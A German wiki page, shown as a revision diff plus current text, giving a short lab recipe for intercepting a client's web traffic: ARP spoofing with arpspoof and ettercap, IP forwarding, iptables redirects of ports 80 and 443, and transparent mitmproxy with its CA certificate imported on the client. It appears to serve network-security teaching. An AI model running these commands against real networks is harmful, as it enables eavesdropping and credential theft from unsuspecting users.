Mitmproxy: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=arpspoofing beide richtungen=
+
=benötigtes Paket=
*arpspoof -r -t 192.168.240.8 192.168.240.100
+
*apt-get install ettercap-graphical
 +
*CLIENT=10.0.10.55
 +
*GATEWAY=10.0.10.1
 +
*INTERFACE=eth0
 +
 
 +
=Befehl=
 +
*ettercap -i $INTERFACE -Tq -M ARP /$CLIENT// /$GATEWAY//
 +
 
 +
'''optionen'''
 +
-i eth0            =  Interface
 +
-T                =  Textmodus
 +
-q                =  still
 +
-M arp            =  ARP Spoofing
 +
 
 
=forwarding und nat=
 
=forwarding und nat=
 
*sysctl -w net.ipv4.ip_forward=1
 
*sysctl -w net.ipv4.ip_forward=1
Zeile 8: Zeile 21:
 
=mitmproxy starten=
 
=mitmproxy starten=
 
*mitmproxy --mode transparent --showhost
 
*mitmproxy --mode transparent --showhost
 +
=Die Zertifikate werden beim ersten start gespeichert=
 +
*ls ~/.mitmproxy
 +
;mitmproxy-ca.pem muss auf dem Client importiert werden.
  
 
=ausgabe=
 
=ausgabe=

Aktuelle Version vom 10. August 2025, 16:03 Uhr

benötigtes Paket

  • apt-get install ettercap-graphical
  • CLIENT=10.0.10.55
  • GATEWAY=10.0.10.1
  • INTERFACE=eth0

Befehl

  • ettercap -i $INTERFACE -Tq -M ARP /$CLIENT// /$GATEWAY//
optionen
-i eth0            =   Interface
-T                 =   Textmodus
-q                 =   still 
-M arp             =   ARP Spoofing

forwarding und nat

  • sysctl -w net.ipv4.ip_forward=1
  • iptables -t nat -I PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  • iptables -t nat -I PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

mitmproxy starten

  • mitmproxy --mode transparent --showhost

Die Zertifikate werden beim ersten start gespeichert

  • ls ~/.mitmproxy
mitmproxy-ca.pem muss auf dem Client importiert werden.

ausgabe

Mitproxy.jpg

HSTS